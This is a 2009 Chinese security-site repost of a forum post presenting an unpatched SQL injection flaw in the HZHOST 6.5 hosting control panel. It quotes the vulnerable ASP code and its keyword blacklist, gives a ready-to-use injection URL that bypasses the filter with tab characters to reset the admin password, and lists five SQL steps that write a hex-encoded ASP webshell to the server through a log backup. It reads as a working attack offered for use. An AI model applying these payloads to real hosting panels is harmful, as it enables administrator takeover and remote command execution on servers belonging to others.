首页 网络安全 安全学院 查看内容

再暴HZHOST6.5 0DAY

2009-2-23 10:30 619 0

摘要: 摘自:bbs.tian6.com 早前一段时间的东东了,相关文章见: /Article/Search.asp?Field=Title&ClassID=&keyword=hzhost...
关键词: nbsp qstring ParaValue select 09 update 但是 SafeRequest hzhost regstt

摘自:bbs.tian6.com 早前一段时间的东东了,相关文章见: /Article/Search.asp?Field=Title&ClassID=&keyword=hzhost 前2天看XX兵写了那么多文章。。心里痒痒了。所以看了看代码  漏洞出在  hzhost_master\control\svr_mng/svr_lst.aspelseif querytype=5 then   qu1=trim(SafeRequest("qu1"))      if  qu1="" then         call errorpage(-2,"对不起,请选择参数!")   end if              qstring=" and s_regstt="&qu1&" "query="select * from v_svrlst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')   "&qstring&qstring2&"  order by "&orderstring意思是如果querytype=5  那么对于qu1 进行安全过滤。。然后把这个值赋予 qstring, 但是这里qstring=" and s_regstt="&qu1&" qu1并没有做用''加起来.然后在查询的时候又没有用‘’将qstring和qstring2包起来.所以导致了漏洞的发生 尽管有SAFEREQUEST的存在但是看过XX兵文章的人知道HZHOST的saferequest有点问题.Function SafeRequestform(ParaName) Dim ParaValue ParaValue=request.form(ParaName) if IsNumeric(ParaValue)  then SafeRequestform=ParaValue exit Function else ParaValuetemp=lcase(ParaValue) tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from" temps=split(tempvalue,"|") for mycount=0 to ubound(temps) if  Instr(ParaValuetemp,temps(mycount)) > 0 then                 call errorpage(-2,"非法请求!!!")                 response.end end if尽管过滤了UPDATE等字符但是却没有过滤 * / % / -- / ; 我们可以用TAB 回车等等饶过过滤www.xxx.com/control/svr_mng/svr_lst.asp?querytype=5&ordernum=22&qu1=1;UPDATE%09[memlst]%20SET%20u_pss=0x6531306164633339343962613539616262653536653035376632306638383365%20WHERE%20u_nme=0x61646D696E;select%09*%09from%09v_ot2lst%20where%20s_regstt=1;select%09*%09from%09v_ot2lst%20where%20s_regstt=1上面的语句是将admin密码UPDATE到123456,但是这里要注意的是我们在UPDATE的时候首先要自己先注册个用户。然后用你注册的用户点登陆后再进行UPDATE。我一开始就是卡在这里谢谢RACLE的指点 关于WEBSHELL我引用XX兵的备份差异。。我估计可以。这个是在hzhost/hzhost_master、生成个密码为a的1.asp第 一 步:create table [dbo].[shit_tmp] ([cmd] [image])--第 二 步declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--第 三 步insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--第 四 步declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--第 五 步Drop table [shit_tmp]--  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部